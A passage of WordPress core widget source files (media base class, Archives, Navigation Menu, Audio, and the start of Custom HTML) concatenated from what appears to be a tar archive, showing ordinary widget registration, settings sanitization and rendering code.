abstract class WP_Widget_Media extends WP_Widget {

	/**
	 * Translation labels.
	 *
	 * @since 4.8.0
	 * @var array
	 */
	public $l10n = array(
		'add_to_widget'              => '',
		'replace_media'              => '',
		'edit_media'                 => '',
		'media_library_state_multi'  => '',
		'media_library_state_single' => '',
		'missing_attachment'         => '',
		'no_media_selected'          => '',
		'add_media'                  => '',
	);

	/**
	 * Whether or not the widget has been registered yet.
	 *
	 * @since 4.8.1
	 * @var bool
	 */
	protected $registered = false;

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 *
	 * @param string $id_base         Base ID for the widget, lowercase and unique.
	 * @param string $name            Name for the widget displayed on the configuration page.
	 * @param array  $widget_options  Optional. Widget options. See wp_register_sidebar_widget() for
	 *                                information on accepted arguments. Default empty array.
	 * @param array  $control_options Optional. Widget control options. See wp_register_widget_control()
	 *                                for information on accepted arguments. Default empty array.
	 */
	public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) {
		$widget_opts = wp_parse_args(
			$widget_options,
			array(
				'description'                 => __( 'A media item.' ),
				'customize_selective_refresh' => true,
				'show_instance_in_rest'       => true,
				'mime_type'                   => '',
			)
		);

		$control_opts = wp_parse_args( $control_options, array() );

		$l10n_defaults = array(
			'no_media_selected'          => __( 'No media selected' ),
			'add_media'                  => _x( 'Add Media', 'label for button in the media widget' ),
			'replace_media'              => _x( 'Replace Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
			'edit_media'                 => _x( 'Edit Media', 'label for button in the media widget; should preferably not be longer than ~13 characters long' ),
			'add_to_widget'              => __( 'Add to Widget' ),
			'missing_attachment'         => sprintf(
				/* translators: %s: URL to media library. */
				__( 'We can&#8217;t find that file. Check your <a href="%s">media library</a> and make sure it wasn&#8217;t deleted.' ),
				esc_url( admin_url( 'upload.php' ) )
			),
			/* translators: %d: Widget count. */
			'media_library_state_multi'  => _n_noop( 'Media Widget (%d)', 'Media Widget (%d)' ),
			'media_library_state_single' => __( 'Media Widget' ),
			'unsupported_file_type'      => __( 'Looks like this isn&#8217;t the correct kind of file. Please link to an appropriate file instead.' ),
		);
		$this->l10n    = array_merge( $l10n_defaults, array_filter( $this->l10n ) );

		parent::__construct(
			$id_base,
			$name,
			$widget_opts,
			$control_opts
		);
	}

	/**
	 * Add hooks while registering all widget instances of this widget class.
	 *
	 * @since 4.8.0
	 *
	 * @param int $number Optional. The unique order number of this widget instance
	 *                    compared to other instances of the same class. Default -1.
	 */
	public function _register_one( $number = -1 ) {
		parent::_register_one( $number );
		if ( $this->registered ) {
			return;
		}
		$this->registered = true;

		// Note that the widgets component in the customizer will also do
		// the 'admin_print_scripts-widgets.php' action in WP_Customize_Widgets::print_scripts().
		add_action( 'admin_print_scripts-widgets.php', array( $this, 'enqueue_admin_scripts' ) );

		if ( $this->is_preview() ) {
			add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_preview_scripts' ) );
		}

		// Note that the widgets component in the customizer will also do
		// the 'admin_footer-widgets.php' action in WP_Customize_Widgets::print_footer_scripts().
		add_action( 'admin_footer-widgets.php', array( $this, 'render_control_template_scripts' ) );

		add_filter( 'display_media_states', array( $this, 'display_media_state' ), 10, 2 );
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		$schema = array(
			'attachment_id' => array(
				'type'        => 'integer',
				'default'     => 0,
				'minimum'     => 0,
				'description' => __( 'Attachment post ID' ),
				'media_prop'  => 'id',
			),
			'url'           => array(
				'type'        => 'string',
				'default'     => '',
				'format'      => 'uri',
				'description' => __( 'URL to the media file' ),
			),
			'title'         => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'sanitize_text_field',
				'description'           => __( 'Title for the widget' ),
				'should_preview_update' => false,
			),
		);

		/**
		 * Filters the media widget instance schema to add additional properties.
		 *
		 * @since 4.9.0
		 *
		 * @param array           $schema Instance schema.
		 * @param WP_Widget_Media $widget Widget object.
		 */
		$schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this );

		return $schema;
	}

	/**
	 * Determine if the supplied attachment is for a valid attachment post with the specified MIME type.
	 *
	 * @since 4.8.0
	 *
	 * @param int|WP_Post $attachment Attachment post ID or object.
	 * @param string      $mime_type  MIME type.
	 * @return bool Is matching MIME type.
	 */
	public function is_attachment_with_mime_type( $attachment, $mime_type ) {
		if ( empty( $attachment ) ) {
			return false;
		}
		$attachment = get_post( $attachment );
		if ( ! $attachment ) {
			return false;
		}
		if ( 'attachment' !== $attachment->post_type ) {
			return false;
		}
		return wp_attachment_is( $mime_type, $attachment );
	}

	/**
	 * Sanitize a token list string, such as used in HTML rel and class attributes.
	 *
	 * @since 4.8.0
	 *
	 * @link http://w3c.github.io/html/infrastructure.html#space-separated-tokens
	 * @link https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList
	 * @param string|array $tokens List of tokens separated by spaces, or an array of tokens.
	 * @return string Sanitized token string list.
	 */
	public function sanitize_token_list( $tokens ) {
		if ( is_string( $tokens ) ) {
			$tokens = preg_split( '/\s+/', trim( $tokens ) );
		}
		$tokens = array_map( 'sanitize_html_class', $tokens );
		$tokens = array_filter( $tokens );
		return implode( ' ', $tokens );
	}

	/**
	 * Displays the widget on the front-end.
	 *
	 * @since 4.8.0
	 *
	 * @see WP_Widget::widget()
	 *
	 * @param array $args     Display arguments including before_title, after_title, before_widget, and after_widget.
	 * @param array $instance Saved setting from the database.
	 */
	public function widget( $args, $instance ) {
		$instance = wp_parse_args( $instance, wp_list_pluck( $this->get_instance_schema(), 'default' ) );

		// Short-circuit if no media is selected.
		if ( ! $this->has_content( $instance ) ) {
			return;
		}

		echo $args['before_widget'];

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $instance['title'], $instance, $this->id_base );

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		/**
		 * Filters the media widget instance prior to rendering the media.
		 *
		 * @since 4.8.0
		 *
		 * @param array           $instance Instance data.
		 * @param array           $args     Widget args.
		 * @param WP_Widget_Media $widget   Widget object.
		 */
		$instance = apply_filters( "widget_{$this->id_base}_instance", $instance, $args, $this );

		$this->render_media( $instance );

		echo $args['after_widget'];
	}

	/**
	 * Sanitizes the widget form values as they are saved.
	 *
	 * @since 4.8.0
	 *
	 * @see WP_Widget::update()
	 * @see WP_REST_Request::has_valid_params()
	 * @see WP_REST_Request::sanitize_params()
	 *
	 * @param array $new_instance Values just sent to be saved.
	 * @param array $instance     Previously saved values from database.
	 * @return array Updated safe values to be saved.
	 */
	public function update( $new_instance, $instance ) {

		$schema = $this->get_instance_schema();
		foreach ( $schema as $field => $field_schema ) {
			if ( ! array_key_exists( $field, $new_instance ) ) {
				continue;
			}
			$value = $new_instance[ $field ];

			/*
			 * Workaround for rest_validate_value_from_schema() due to the fact that
			 * rest_is_boolean( '' ) === false, while rest_is_boolean( '1' ) is true.
			 */
			if ( 'boolean' === $field_schema['type'] && '' === $value ) {
				$value = false;
			}

			if ( true !== rest_validate_value_from_schema( $value, $field_schema, $field ) ) {
				continue;
			}

			$value = rest_sanitize_value_from_schema( $value, $field_schema );

			// @codeCoverageIgnoreStart
			if ( is_wp_error( $value ) ) {
				continue; // Handle case when rest_sanitize_value_from_schema() ever returns WP_Error as its phpdoc @return tag indicates.
			}

			// @codeCoverageIgnoreEnd
			if ( isset( $field_schema['sanitize_callback'] ) ) {
				$value = call_user_func( $field_schema['sanitize_callback'], $value );
			}
			if ( is_wp_error( $value ) ) {
				continue;
			}
			$instance[ $field ] = $value;
		}

		return $instance;
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 * @return string
	 */
	abstract public function render_media( $instance );

	/**
	 * Outputs the settings update form.
	 *
	 * Note that the widget UI itself is rendered with JavaScript via `MediaWidgetControl#render()`.
	 *
	 * @since 4.8.0
	 *
	 * @see \WP_Widget_Media::render_control_template_scripts() Where the JS template is located.
	 *
	 * @param array $instance Current settings.
	 */
	final public function form( $instance ) {
		$instance_schema = $this->get_instance_schema();
		$instance        = wp_array_slice_assoc(
			wp_parse_args( (array) $instance, wp_list_pluck( $instance_schema, 'default' ) ),
			array_keys( $instance_schema )
		);

		foreach ( $instance as $name => $value ) : ?>
			<input
				type="hidden"
				data-property="<?php echo esc_attr( $name ); ?>"
				class="media-widget-instance-property"
				name="<?php echo esc_attr( $this->get_field_name( $name ) ); ?>"
				id="<?php echo esc_attr( $this->get_field_id( $name ) ); // Needed specifically by wpWidgets.appendTitle(). ?>"
				value="<?php echo esc_attr( is_array( $value ) ? implode( ',', $value ) : (string) $value ); ?>"
			/>
			<?php
		endforeach;
	}

	/**
	 * Filters the default media display states for items in the Media list table.
	 *
	 * @since 4.8.0
	 *
	 * @param array   $states An array of media states.
	 * @param WP_Post $post   The current attachment object.
	 * @return array
	 */
	public function display_media_state( $states, $post = null ) {
		if ( ! $post ) {
			$post = get_post();
		}

		// Count how many times this attachment is used in widgets.
		$use_count = 0;
		foreach ( $this->get_settings() as $instance ) {
			if ( isset( $instance['attachment_id'] ) && $instance['attachment_id'] === $post->ID ) {
				$use_count++;
			}
		}

		if ( 1 === $use_count ) {
			$states[] = $this->l10n['media_library_state_single'];
		} elseif ( $use_count > 0 ) {
			$states[] = sprintf( translate_nooped_plural( $this->l10n['media_library_state_multi'], $use_count ), number_format_i18n( $use_count ) );
		}

		return $states;
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when a widget is rendered.
	 * In the customizer, however, widgets can be dynamically added and rendered via
	 * selective refresh, and so it is important to unconditionally enqueue them in
	 * case a widget does get added.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_preview_scripts() {}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		wp_enqueue_media();
		wp_enqueue_script( 'media-widgets' );
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		?>
		<script type="text/html" id="tmpl-widget-media-<?php echo esc_attr( $this->id_base ); ?>-control">
			<# var elementIdPrefix = 'el' + String( Math.random() ) + '_' #>
			<p>
				<label for="{{ elementIdPrefix }}title"><?php esc_html_e( 'Title:' ); ?></label>
				<input id="{{ elementIdPrefix }}title" type="text" class="widefat title">
			</p>
			<div class="media-widget-preview <?php echo esc_attr( $this->id_base ); ?>">
				<div class="attachment-media-view">
					<button type="button" class="select-media button-add-media not-selected">
						<?php echo esc_html( $this->l10n['add_media'] ); ?>
					</button>
				</div>
			</div>
			<p class="media-widget-buttons">
				<button type="button" class="button edit-media selected">
					<?php echo esc_html( $this->l10n['edit_media'] ); ?>
				</button>
			<?php if ( ! empty( $this->l10n['replace_media'] ) ) : ?>
				<button type="button" class="button change-media select-media selected">
					<?php echo esc_html( $this->l10n['replace_media'] ); ?>
				</button>
			<?php endif; ?>
			</p>
			<div class="media-widget-fields">
			</div>
		</script>
		<?php
	}

	/**
	 * Whether the widget has content to show.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 * @return bool Whether widget has content.
	 */
	protected function has_content( $instance ) {
		return ( $instance['attachment_id'] && 'attachment' === get_post_type( $instance['attachment_id'] ) ) || $instance['url'];
	}
}
class-wp-widget-archives.php000064400000015226152333503070012100 0ustar00<?php
/**
 * Widget API: WP_Widget_Archives class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement the Archives widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Archives extends WP_Widget {

	/**
	 * Sets up a new Archives widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_archive',
			'description'                 => __( 'A monthly archive of your site&#8217;s Posts.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'archives', __( 'Archives' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Archives widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Archives widget instance.
	 */
	public function widget( $args, $instance ) {
		$default_title = __( 'Archives' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$count    = ! empty( $instance['count'] ) ? '1' : '0';
		$dropdown = ! empty( $instance['dropdown'] ) ? '1' : '0';

		echo $args['before_widget'];

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		if ( $dropdown ) {
			$dropdown_id = "{$this->id_base}-dropdown-{$this->number}";
			?>
		<label class="screen-reader-text" for="<?php echo esc_attr( $dropdown_id ); ?>"><?php echo $title; ?></label>
		<select id="<?php echo esc_attr( $dropdown_id ); ?>" name="archive-dropdown">
			<?php
			/**
			 * Filters the arguments for the Archives widget drop-down.
			 *
			 * @since 2.8.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_get_archives()
			 *
			 * @param array $args     An array of Archives widget drop-down arguments.
			 * @param array $instance Settings for the current Archives widget instance.
			 */
			$dropdown_args = apply_filters(
				'widget_archives_dropdown_args',
				array(
					'type'            => 'monthly',
					'format'          => 'option',
					'show_post_count' => $count,
				),
				$instance
			);

			switch ( $dropdown_args['type'] ) {
				case 'yearly':
					$label = __( 'Select Year' );
					break;
				case 'monthly':
					$label = __( 'Select Month' );
					break;
				case 'daily':
					$label = __( 'Select Day' );
					break;
				case 'weekly':
					$label = __( 'Select Week' );
					break;
				default:
					$label = __( 'Select Post' );
					break;
			}

			$type_attr = current_theme_supports( 'html5', 'script' ) ? '' : ' type="text/javascript"';
			?>

			<option value=""><?php echo esc_html( $label ); ?></option>
			<?php wp_get_archives( $dropdown_args ); ?>

		</select>

<script<?php echo $type_attr; ?>>
/* <![CDATA[ */
(function() {
	var dropdown = document.getElementById( "<?php echo esc_js( $dropdown_id ); ?>" );
	function onSelectChange() {
		if ( dropdown.options[ dropdown.selectedIndex ].value !== '' ) {
			document.location.href = this.options[ this.selectedIndex ].value;
		}
	}
	dropdown.onchange = onSelectChange;
})();
/* ]]> */
</script>
			<?php
		} else {
			$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

			/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
			$format = apply_filters( 'navigation_widgets_format', $format );

			if ( 'html5' === $format ) {
				// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
				$title      = trim( strip_tags( $title ) );
				$aria_label = $title ? $title : $default_title;
				echo '<nav role="navigation" aria-label="' . esc_attr( $aria_label ) . '">';
			}
			?>

			<ul>
				<?php
				wp_get_archives(
					/**
					 * Filters the arguments for the Archives widget.
					 *
					 * @since 2.8.0
					 * @since 4.9.0 Added the `$instance` parameter.
					 *
					 * @see wp_get_archives()
					 *
					 * @param array $args     An array of Archives option arguments.
					 * @param array $instance Array of settings for the current widget.
					 */
					apply_filters(
						'widget_archives_args',
						array(
							'type'            => 'monthly',
							'show_post_count' => $count,
						),
						$instance
					)
				);
				?>
			</ul>

			<?php
			if ( 'html5' === $format ) {
				echo '</nav>';
			}
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Archives widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget_Archives::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance             = $old_instance;
		$new_instance         = wp_parse_args(
			(array) $new_instance,
			array(
				'title'    => '',
				'count'    => 0,
				'dropdown' => '',
			)
		);
		$instance['title']    = sanitize_text_field( $new_instance['title'] );
		$instance['count']    = $new_instance['count'] ? 1 : 0;
		$instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0;

		return $instance;
	}

	/**
	 * Outputs the settings form for the Archives widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args(
			(array) $instance,
			array(
				'title'    => '',
				'count'    => 0,
				'dropdown' => '',
			)
		);
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>
		<p>
			<input class="checkbox" type="checkbox"<?php checked( $instance['dropdown'] ); ?> id="<?php echo $this->get_field_id( 'dropdown' ); ?>" name="<?php echo $this->get_field_name( 'dropdown' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'dropdown' ); ?>"><?php _e( 'Display as dropdown' ); ?></label>
			<br/>
			<input class="checkbox" type="checkbox"<?php checked( $instance['count'] ); ?> id="<?php echo $this->get_field_id( 'count' ); ?>" name="<?php echo $this->get_field_name( 'count' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'count' ); ?>"><?php _e( 'Show post counts' ); ?></label>
		</p>
		<?php
	}
}
class-wp-nav-menu-widget.php000064400000014704152333503070012022 0ustar00<?php
/**
 * Widget API: WP_Nav_Menu_Widget class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement the Navigation Menu widget.
 *
 * @since 3.0.0
 *
 * @see WP_Widget
 */
class WP_Nav_Menu_Widget extends WP_Widget {

	/**
	 * Sets up a new Navigation Menu widget instance.
	 *
	 * @since 3.0.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'Add a navigation menu to your sidebar.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'nav_menu', __( 'Navigation Menu' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Navigation Menu widget instance.
	 *
	 * @since 3.0.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Navigation Menu widget instance.
	 */
	public function widget( $args, $instance ) {
		// Get menu.
		$nav_menu = ! empty( $instance['nav_menu'] ) ? wp_get_nav_menu_object( $instance['nav_menu'] ) : false;

		if ( ! $nav_menu ) {
			return;
		}

		$default_title = __( 'Menu' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : '';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/**
		 * Filters the HTML format of widgets with navigation links.
		 *
		 * @since 5.5.0
		 *
		 * @param string $format The type of markup to use in widgets with navigation links.
		 *                       Accepts 'html5', 'xhtml'.
		 */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;

			$nav_menu_args = array(
				'fallback_cb'          => '',
				'menu'                 => $nav_menu,
				'container'            => 'nav',
				'container_aria_label' => $aria_label,
				'items_wrap'           => '<ul id="%1$s" class="%2$s">%3$s</ul>',
			);
		} else {
			$nav_menu_args = array(
				'fallback_cb' => '',
				'menu'        => $nav_menu,
			);
		}

		/**
		 * Filters the arguments for the Navigation Menu widget.
		 *
		 * @since 4.2.0
		 * @since 4.4.0 Added the `$instance` parameter.
		 *
		 * @param array   $nav_menu_args {
		 *     An array of arguments passed to wp_nav_menu() to retrieve a navigation menu.
		 *
		 *     @type callable|bool $fallback_cb Callback to fire if the menu doesn't exist. Default empty.
		 *     @type mixed         $menu        Menu ID, slug, or name.
		 * }
		 * @param WP_Term $nav_menu      Nav menu object for the current menu.
		 * @param array   $args          Display arguments for the current widget.
		 * @param array   $instance      Array of settings for the current widget.
		 */
		wp_nav_menu( apply_filters( 'widget_nav_menu_args', $nav_menu_args, $nav_menu, $args, $instance ) );

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Navigation Menu widget instance.
	 *
	 * @since 3.0.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance = array();
		if ( ! empty( $new_instance['title'] ) ) {
			$instance['title'] = sanitize_text_field( $new_instance['title'] );
		}
		if ( ! empty( $new_instance['nav_menu'] ) ) {
			$instance['nav_menu'] = (int) $new_instance['nav_menu'];
		}
		return $instance;
	}

	/**
	 * Outputs the settings form for the Navigation Menu widget.
	 *
	 * @since 3.0.0
	 *
	 * @param array $instance Current settings.
	 * @global WP_Customize_Manager $wp_customize
	 */
	public function form( $instance ) {
		global $wp_customize;
		$title    = isset( $instance['title'] ) ? $instance['title'] : '';
		$nav_menu = isset( $instance['nav_menu'] ) ? $instance['nav_menu'] : '';

		// Get menus.
		$menus = wp_get_nav_menus();

		$empty_menus_style     = '';
		$not_empty_menus_style = '';
		if ( empty( $menus ) ) {
			$empty_menus_style = ' style="display:none" ';
		} else {
			$not_empty_menus_style = ' style="display:none" ';
		}

		$nav_menu_style = '';
		if ( ! $nav_menu ) {
			$nav_menu_style = 'display: none;';
		}

		// If no menus exists, direct the user to go and create some.
		?>
		<p class="nav-menu-widget-no-menus-message" <?php echo $not_empty_menus_style; ?>>
			<?php
			if ( $wp_customize instanceof WP_Customize_Manager ) {
				$url = 'javascript: wp.customize.panel( "nav_menus" ).focus();';
			} else {
				$url = admin_url( 'nav-menus.php' );
			}

			/* translators: %s: URL to create a new menu. */
			printf( __( 'No menus have been created yet. <a href="%s">Create some</a>.' ), esc_attr( $url ) );
			?>
		</p>
		<div class="nav-menu-widget-form-controls" <?php echo $empty_menus_style; ?>>
			<p>
				<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
				<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" />
			</p>
			<p>
				<label for="<?php echo $this->get_field_id( 'nav_menu' ); ?>"><?php _e( 'Select Menu:' ); ?></label>
				<select id="<?php echo $this->get_field_id( 'nav_menu' ); ?>" name="<?php echo $this->get_field_name( 'nav_menu' ); ?>">
					<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
					<?php foreach ( $menus as $menu ) : ?>
						<option value="<?php echo esc_attr( $menu->term_id ); ?>" <?php selected( $nav_menu, $menu->term_id ); ?>>
							<?php echo esc_html( $menu->name ); ?>
						</option>
					<?php endforeach; ?>
				</select>
			</p>
			<?php if ( $wp_customize instanceof WP_Customize_Manager ) : ?>
				<p class="edit-selected-nav-menu" style="<?php echo $nav_menu_style; ?>">
					<button type="button" class="button"><?php _e( 'Edit Menu' ); ?></button>
				</p>
			<?php endif; ?>
		</div>
		<?php
	}
}
class-wp-widget-media-audio.php000064400000013704152333503070012451 0ustar00<?php
/**
 * Widget API: WP_Widget_Media_Audio class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements an audio widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Audio extends WP_Widget_Media {

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 */
	public function __construct() {
		parent::__construct(
			'media_audio',
			__( 'Audio' ),
			array(
				'description' => __( 'Displays an audio player.' ),
				'mime_type'   => 'audio',
			)
		);

		$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected'          => __( 'No audio selected' ),
				'add_media'                  => _x( 'Add Audio', 'label for button in the audio widget' ),
				'replace_media'              => _x( 'Replace Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ),
				'edit_media'                 => _x( 'Edit Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ),
				'missing_attachment'         => sprintf(
					/* translators: %s: URL to media library. */
					__( 'We can&#8217;t find that audio file. Check your <a href="%s">media library</a> and make sure it wasn&#8217;t deleted.' ),
					esc_url( admin_url( 'upload.php' ) )
				),
				/* translators: %d: Widget count. */
				'media_library_state_multi'  => _n_noop( 'Audio Widget (%d)', 'Audio Widget (%d)' ),
				'media_library_state_single' => __( 'Audio Widget' ),
				'unsupported_file_type'      => __( 'Looks like this isn&#8217;t the correct kind of file. Please link to an audio file instead.' ),
			)
		);
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		$schema = array(
			'preload' => array(
				'type'        => 'string',
				'enum'        => array( 'none', 'auto', 'metadata' ),
				'default'     => 'none',
				'description' => __( 'Preload' ),
			),
			'loop'    => array(
				'type'        => 'boolean',
				'default'     => false,
				'description' => __( 'Loop' ),
			),
		);

		foreach ( wp_get_audio_extensions() as $audio_extension ) {
			$schema[ $audio_extension ] = array(
				'type'        => 'string',
				'default'     => '',
				'format'      => 'uri',
				/* translators: %s: Audio extension. */
				'description' => sprintf( __( 'URL to the %s audio source file' ), $audio_extension ),
			);
		}

		return array_merge( $schema, parent::get_instance_schema() );
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance   = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
		$attachment = null;

		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
			$attachment = get_post( $instance['attachment_id'] );
		}

		if ( $attachment ) {
			$src = wp_get_attachment_url( $attachment->ID );
		} else {
			$src = $instance['url'];
		}

		echo wp_audio_shortcode(
			array_merge(
				$instance,
				compact( 'src' )
			)
		);
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when an audio shortcode is used.
	 * In the customizer, however, widgets can be dynamically added and rendered via
	 * selective refresh, and so it is important to unconditionally enqueue them in
	 * case a widget does get added.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_preview_scripts() {
		/** This filter is documented in wp-includes/media.php */
		if ( 'mediaelement' === apply_filters( 'wp_audio_shortcode_library', 'mediaelement' ) ) {
			wp_enqueue_style( 'wp-mediaelement' );
			wp_enqueue_script( 'wp-mediaelement' );
		}
	}

	/**
	 * Loads the required media files for the media manager and scripts for media widgets.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

		wp_enqueue_style( 'wp-mediaelement' );
		wp_enqueue_script( 'wp-mediaelement' );

		$handle = 'media-audio-widget';
		wp_enqueue_script( $handle );

		$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $exported_schema )
			)
		);

		wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $this->widget_options['mime_type'] ),
				wp_json_encode( $this->l10n )
			)
		);
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts()
		?>
		<script type="text/html" id="tmpl-wp-media-widget-audio-preview">
			<# if ( data.error && 'missing_attachment' === data.error ) { #>
				<div class="notice notice-error notice-alt notice-missing-attachment">
					<p><?php echo $this->l10n['missing_attachment']; ?></p>
				</div>
			<# } else if ( data.error ) { #>
				<div class="notice notice-error notice-alt">
					<p><?php _e( 'Unable to preview media due to an unknown error.' ); ?></p>
				</div>
			<# } else if ( data.model && data.model.src ) { #>
				<?php wp_underscore_audio_template(); ?>
			<# } #>
		</script>
		<?php
	}
}
class-wp-widget-custom-html.php000064400000027607152333503070012556 0ustar00<?php
/**
 * Widget API: WP_Widget_Custom_HTML class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.1
 */

/**
 * Core class used to implement a Custom HTML widget.
 *
 * @since 4.8.1
 *
 * @see WP_Widget
 */
class WP_Widget_Custom_HTML extends WP_Widget {

	/**
	 * Whether or not the widget has been registered yet.
	 *
	 * @since 4.9.0
	 * @var bool
	 */
	protected $registered = false;

	/**
	 * Default instance.
	 *
	 * @since 4.8.1
	 * @var array
	 */
	protected $default_instance = array(
		'title'   => '',
		'content' => '',
	);

	/**
	 * Sets up a new Custom HTML widget instance.
	 *
	 * @since 4.8.1
	 */
	public function __construct() {
		$widget_ops  = array(
			'classname'                   => 'widget_custom_html',
